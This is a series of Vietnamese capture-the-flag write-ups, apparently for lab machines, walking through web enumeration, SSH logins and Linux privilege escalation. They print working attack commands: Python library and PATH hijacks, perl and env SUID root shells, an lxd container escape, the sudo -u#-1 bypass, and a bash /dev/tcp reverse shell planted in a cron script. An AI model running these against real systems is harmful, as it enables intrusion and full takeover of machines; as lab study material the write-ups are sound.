Chỉ là 1 trang html đơn giản. Tôi thử qua các path đơn giản và phổ biến như robots.txt hay thử check qua index.php đều không có kết quả. Vẫn phải dùng tool để tìm web path thôi, tôi sẽ dùng dirsearch.
[05:44:38] 301 - 0B - /r -> r/
Cũng không có gì đặc biệt. Tôi sẽ thử 1 lần dùng dirsearch nữa để xem đằng sau path /r này có gì không.
[05:45:23] 301 - 0B - /r/a -> a/
Vẫn chưa có gì để khai thác ở đây. Nhưng tôi có 1 ý tưởng về mấy cái path này, tôi sẽ thử thêm 1 lần dirsearch nữa cho chắc chắn.
[05:56:29] 301 - 0B - /r/a/b -> b/
Vậy thì rất có thể những path sau là các chữ cái tạo nên từ rabbit. Để tránh mất thời gian thì tôi sẽ thử luôn.
Check qua source web thì tôi tìm được 1 thứ hay ho có thể là username và password để đăng nhập SSH.
<!DOCTYPEhtml><head><title>Enterwonderland</title><linkrel="stylesheet"type="text/css"href="[/main.css](view-source:http://10.10.185.15/main.css)"></head><body><h1>Openthedoorandenterwonderland</h1><p>"Oh, you’re sure to do that,"saidtheCat,"if you only walk long enough."</p><p>Alicefeltthatthiscouldnotbedenied,soshetriedanotherquestion."What sort of people live about here?"</p><p>"In that direction,"" the Cat said, waving its right paw round, "livesaHatter:andinthatdirection," waving
the other paw, "livesaMarchHare.Visiteitheryoulike:they’rebothmad."</p>
<p style="display:none;">alice:***************************************</p>
<img src="[/img/alice_door.webp](view-source:http://10.10.185.15/img/alice_door.webp)" style="height:50rem;">
</body>
SSH
Thử login ssh
┌──(neo㉿kali)-[~]└─$sshalice@10.10.185.15Theauthenticityofhost'10.10.185.15 (10.10.185.15)'can't be established.
ED25519 key fingerprint is SHA256:Q8PPqQyrfXMAZkq45693yD4CmWAYp5GOINbxYqTRedo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.185.15' (ED25519) to the list of known hosts.
alice@10.10.185.15'spassword:WelcometoUbuntu18.04.4LTS(GNU/Linux4.15.0-101-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageSysteminformationasofWedAug1010:05:04UTC2022Systemload:0.0Processes:84Usageof/:18.9%of19.56GBUsersloggedin:0Memoryusage:29%IPaddressforeth0:10.10.185.15Swapusage:0%0packagescanbeupdated.0updatesaresecurityupdates.Lastlogin:MonMay2516:37:212020from192.168.170.1alice@wonderland:~$
Trong user alice tôi có 2 file là root flag và 1 file python nhưng tất nhiên là không có quyền mở rồi. Tuy nhiên khi thử sudo -l tôi nhận ra user rabbit có quyền chạy file py.
importrandompoem="""The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.
The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
"It’s very rude of him," she said,
"To come and spoil the fun!"
The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.
The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"
"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.
"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."
The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head —
Meaning to say he did not choose
To leave the oyster-bed.
But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat —
And this was odd, because, you know,
They hadn’t any feet.
Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more —
All hopping through the frothy waves,
And scrambling to the shore.
The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.
"The time has come," the Walrus said,
"To talk of many things:
Of shoes — and ships — and sealing-wax —
Of cabbages — and kings —
And why the sea is boiling hot —
And whether pigs have wings."
"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.
"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed —
Now if you’re ready Oysters dear,
We can begin to feed."
"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?
"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf —
I’ve had to ask you twice!"
"It seems a shame," the Walrus said,
"To play them such a trick,
After we’ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter’s spread too thick!"
"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.
"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""foriinrange(10):line=random.choice(poem.split("\n"))print("The line was:\t",line)
Qua google tôi biết được đây là 1 bài thơ trong phim Alice in wonderland cũng là cảm hứng dựng nên CTF này. Khi chạy file py này, nó sẽ chọn ngẫu nhiên 10 dòng và in ra màn hình kể cả dòng trống.
alice@wonderland:~$python3walrus_and_the_carpenter.pyThelinewas:TheCarpentersaidnothingbutThelinewas:BecauseshethoughtthesunThelinewas:Thesunwasshiningonthesea,Thelinewas:Andscramblingtotheshore.Thelinewas:TheWalrusdidbeseech.Thelinewas:Togiveahandtoeach."
The line was:
The line was: I’ve had to ask you twice!"Thelinewas:Allhoppingthroughthefrothywaves,Thelinewas:Holdinghispockethandkerchiefalice@wonderland:~$
Privilege escalation
Thực sự là tôi đã mất cả 1 buổi sáng để tìm cách khai thác file py này nhưng đều không có tác dụng. Và trong khi lần mò 1 cách vô vọng trên google về các lỗ hổng với file python, tôi tìm thấy cách leo thang đặc quyền bằng thư viện python.
Khi chạy file, python sẽ tìm đến thư mục chứa các gói được import theo thứ tự ưu tiên. Ở đây, trong thư viện của python 3.6 có file random.py nên thay vì để tập lệnh gọi file này, tôi sẽ tạo 1 file random.py chứa payload ở ngay trong thư mục alice.
Tạo file random.py:
importosos.system("/bin/bash")
Chạy lại file python với user rabbit xem có gì xảy ra không
Ở đây, để lấy được thời gian, file sẽ chạy 1 lệnh date nhưng không xác định địa chỉ cụ thể date này nằm ở đâu. Tôi hoàn toàn có thể tạo 1 file thực thi có tên date bên trong thư mục /tmp
#!/bin/bash
echo""/bin/bash
Thay đổi quyền cho file bằng chmod +x /tmp/date và thêm path /tmp vào đầu biến PATH để khi chạy file teaParty nó sẽ nhận path /tmp đầu tiên.
Vậy là tôi có password của user hatter. Thử login ssh bằng user này. Tuy nhiên thử cả sudo -l, crontab hay tìm file do hatter sở hữu đều không có kết quả. Đến bây giờ thì phải dùng đến linpeas. Tạo http server từ máy local và tải file lên thôi. Sau đó đổi quyền cho file và để nó làm phần việc của mình.
Điều này có nghĩa là user hatter có quyền thực thi cũng như quản lý nó. Thử vào GTFOBins để tìm perl với Capabilities.
hatter@wonderland:~$/usr/bin/perl-e'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'# id
uid=0(root)gid=1003(hatter)groups=1003(hatter)# ls /root
user.txt
Cuối cùng là lấy user flag và root flag thì nằm trong thư mục alice.
Conclusion
Tổng kết về bài thì phần thu thập thông tin cũng không có gì nhiều và tập trung chủ yếu vào việc nâng cao kỹ năng leo thang đặc quyền trên linux. Và tôi biết thêm 1 cách khai thác lỗi mới thông qua các thư viện python - Python Library Hijacking. Nó sẽ rất hữu ích với các tệp lệnh python được chạy với đặc quyền cao.
Ngoài ra, trong khi tìm hiểu về SUID và GUID, tôi biết thêm được 1 kiểu phân quyền nữa là sticky bit. Trong 1 vài trường hợp, nó cũng khá hữu ích để khai thác trong việc đọc hay ghi file với đặc quyền được chỉ định cụ thể.
Tôi hay sử dụng web này để decrypt những base phổ biến như 16, 32, 64, v.v.. Với dòng đầu tiên tôi có user-pass của Bob và dòng thứ 2 là user-pass của Bill.
Do đây là window server nên tôi sẽ thử tạo Meterpreter payload và đẩy nó vào share file:
Sau đó tạo request đến web để mở file shell vừa up lên server. Tôi có 2 port tcp ở đây là 80 và 49663, sau khi thử cả 2 thì tôi có curl http://10.10.189.211:49663/nt4wrksv/shell.aspx
Có vẻ như không chạy được bằng terminal, tôi phải tải vscode về để build file này. Nhưng tôi nhận ra để build được thì tôi lại phải tải Vs Studio và cài thêm C++, chỉ từng ấy thứ đã làm tôi muốn từ bỏ rồi.
May mắn là đã có người làm thay tôi việc đó up nó lên github, và nó ở đây. Bây giờ thì chỉ cần clone nó về và đẩy nó vào máy mục tiêu.
Tôi chưa có nhiều kiến thức về window nên thử thách này thực sự đã làm khó tôi đặc biệt là phần leo thang đặc quyền. Tôi sẽ phải học thêm và sẽ làm thêm các CTF của Windows.
Chỉ có 2 port nên tôi sẽ bắt đầu với web server. Có vẻ đây là trang web của 1 tựa game, tôi thử check qua các path đơn giản thì tôi tìm được /robots.txt và bên trong đó là /uploads.
Tôi có 1 file dict là 1 list các từ thì có thể sẽ được dùng làm wordlist để bruteforce, 1 file txt và 1 bức ảnh. Cũng không có gì đặc biệt ở đây. Thử dùng dirsearch để check xem còn path nào nữa không, tôi tìm được /secret/. Trong này có 1 file rsa key. Tôi có thể dùng key này để login ssh chăng. Nhưng hiện tại tôi chưa có username nào.
Loanh quanh web 1 lúc thì tôi đã tìm được 1 cái tên trong source web.
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
Tuy nhiên, khi thử login ssh tôi được yêu cầu phải có passphrase. Vì vậy tôi sẽ dùng John-the-Ripper để crack passphrase từ key trên.
Tôi để ý user John nằm trong group lxd, đây cũng là 1 exploit khá hay nhưng trước hết tôi sẽ thử các exploit phổ biến trước, nếu không thể thì tôi sẽ quay lại lxd. Tuy nhiên sau 1 lúc loay hoay với sudo -l hay tìm SUID đều không có kết quả, tôi sẽ quay lại lxd.
lxd về bản chất thì tương tự như Docker tuy nhiên nó có thể chứa được cả hệ điều hành trong 1 container. Và với lxd tôi sẽ làm theo hướng dẫn ở đây
Sau đó làm theo các câu lệnh như exploit bên trên:
john@exploitable:/var/tmp$lxcinitmyimageignite-csecurity.privileged=trueCreatingignitejohn@exploitable:/var/tmp$lxcconfigdeviceaddignitemydevicedisksource=/path=/mnt/rootrecursive=trueDevicemydeviceaddedtoignitejohn@exploitable:/var/tmp$lxcstartignitejohn@exploitable:/var/tmp$lxcexecignite/bin/sh~# id
uid=0(root)gid=0(root)~# find / -type f -name root.txt 2>/dev/null
/mnt/root/root/root.txt
Tổng kết
Qua bài này, tôi biết thêm về lxd container và cách leo thang đặc quyền với nó. Và nó cũng rất hữu ích để tạo container cho cả hệ điều hành và tôi có thể đẩy nó lên bất cứ đâu mà không phải cài lại cả hệ điều hành.
Ở /assets/ tôi có 1 quả meme huyền thoại này và 1 file style.css. Xem qua file css này thì tôi tìm được 1 path mới.
Vào path này thì tôi có 1 popup
Nếu ấn OK thì nó sẽ quay trở lại cái meme bên trên Tuy nhiên nếu không ấn OK thì page vẫn loading, tôi nghĩ rằng nó đang chờ để redirect, thử mở BurpSuite và kiểm tra và tôi tìm ra hidden_directory
Trong dir ẩn này tôi có 1 bức ảnh, cũng không để làm gì, dùng binwalk hay steghide cũng không ra gì, mất vài phút bế tắc thì tôi đáp nó lên hexed.it và tìm ra user ftp server.
Vậy là tôi có ftp username và 1 list password. Copy list này vào 1 file wordlist và burteforce nó với hydra.
Login vào ftp server, tôi có 1 file txt, lấy nó về và tôi có 1 đoạn mã Brainfuck, ngôn ngữ lập trình hại não nhất mà tôi từng biết, copy đoạn mã tôi có vào đây và tôi có 1 cặp username - password.
SSH
Login vào ssh
eli@10.10.65.86's password:
1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I'veleftyouahiddenmessagethere"
END MESSAGE
eli@year-of-the-rabbit:~$
Tôi có 1 message ở đây nhưng không phải cho Eli mà cho Gwendoline, trong thư mục /home/ cũng có user này và user flag cũng nằm ở đây. Tuy nhiên user Eli không có quyền truy cập. Quay lại message thì nó nói rằng có 1 nơi gọi là s3cr3t hiding place, vậy thì đây có thể lầ 1 thư mục nào đó.
Vào GTFOBins để tìm sudo. Tuy nhiên user gwendoline không thể sử dụng sudo để thực thi lệnh. Tôi thử check version của sudo: Sudo version 1.8.10p3 và tìm được vài thứ hay ho trên exploit-db. Tôi có thể sử dụng sudo -u#-1 để thực hiện lệnh vi với file user.txt
gwendoline@year-of-the-rabbit:~$sudo-u#-1 vi /home/gwendoline/user.txt
# id
uid=0(root)gid=0(root)groups=0(root)
Done.
Tổng kết
Bài này khá hay vì phải kết hợp nhiều thông tin cũng như nhiều công cụ. Đặc biệt là cách leo thang đặc quyền với exploit sudo. Và biết thêm 1 ngôn ngữ lập trình mới là Brainfuck, mặc dù vậy tôi không nghĩ là ngôn ngữ này có tính ứng dụng cao, chủ yếu để giải trí và làm CTF, hoặc do tôi chưa tìm được phần mềm hay chương trình nào viết bằng ngôn ngữ này, who knows!
Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.
┌──(neo㉿kali)-[~]└─$rustscan-a10.10.135.18---sC-sV.----..-..-..----..---..----..---..--..-..-.|{}}|{}|{{__{__}{{__/___}/{} \ |`|||.-. \|{_}|.-._}}||.-._}}\ }//\ \||\ |`-' `-'`-----'`----' `-' `----'`---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/neo/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan'sspeed.UsetheDockerimage,oruptheUlimitwith'--ulimit 5000'.Open10.10.135.18:21Open10.10.135.18:22Open10.10.135.18:139Open10.10.135.18:445
Ở đây tôi có port 139 và 445, 2 port sử dụng trong SMB của Windows. À trước đó thì thử truy cập vào port 21 với Anonymous xem có gì hay ho không.
Nhìn vào phân quyền của /scripts/ và file clean.sh thì tôi có thể sửa file. Lấy các file này về và thử kiểm tra thì tôi nhận ra đây file clean.sh chạy liên tục để ghi dữ liệu vào file removed_files.log.
Từ 2 điều này tôi nghĩ rằng mình có thể thêm payload vào file thực thi sau đó put lại lên ftp server, file thực thi sẽ chạy payload và tôi sẽ có shell. Tôi dùng payload của pentestmonkey: bash -i >& /dev/tcp/10.10.135.18/12345 0>&1
Trước khi put file thì tạo listner từ local machine: nc -lnvp 12345
Tôi thử sudo -l nhưng bị yêu cầu password, bỏ qua cách này. Tôi để ý còn thư mục pics, trong này có 2 file ảnh, tôi sẽ tạo http server trên đây và wget 2 file này về để xem có gì đặc biệt không. Và sau 1 lúc thì không =))))
Tôi còn 1 cách khác là tìm progame với SUID của root: find / -type f -perm -u=s 2>/dev/null, và nó ra 1 list rất nhiều thứ, nhưng thứ đập vào mắt tôi là /usr/bin/env. env là lệnh cho phép chạy 1 chương trình khác trong môi trường tùy chỉnh mà không cần thay đổi chương tình đang chạy hiện tại. Nó khá hữu ích khi chúng ta muốn có 1 môi trường ảo để test các chương trình hay cài đặt các packages mà không muốn nó gây ảnh hưởng đến hệ thống đang hoạt động.
Tôi vào GTFOBins và tìm thấy env có SUID, thử xem sao.
namelessone@anonymous:~$env/bin/sh-p# id
uid=1000(namelessone)gid=1000(namelessone)euid=0(root)groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)# whoami
root# ls /root
root.txt#
Conclusion
Qua bài này tôi biết thêm về env và cách leo thang đặc quyền với SUID. Còn lại thì cũng không có gì mới lắm.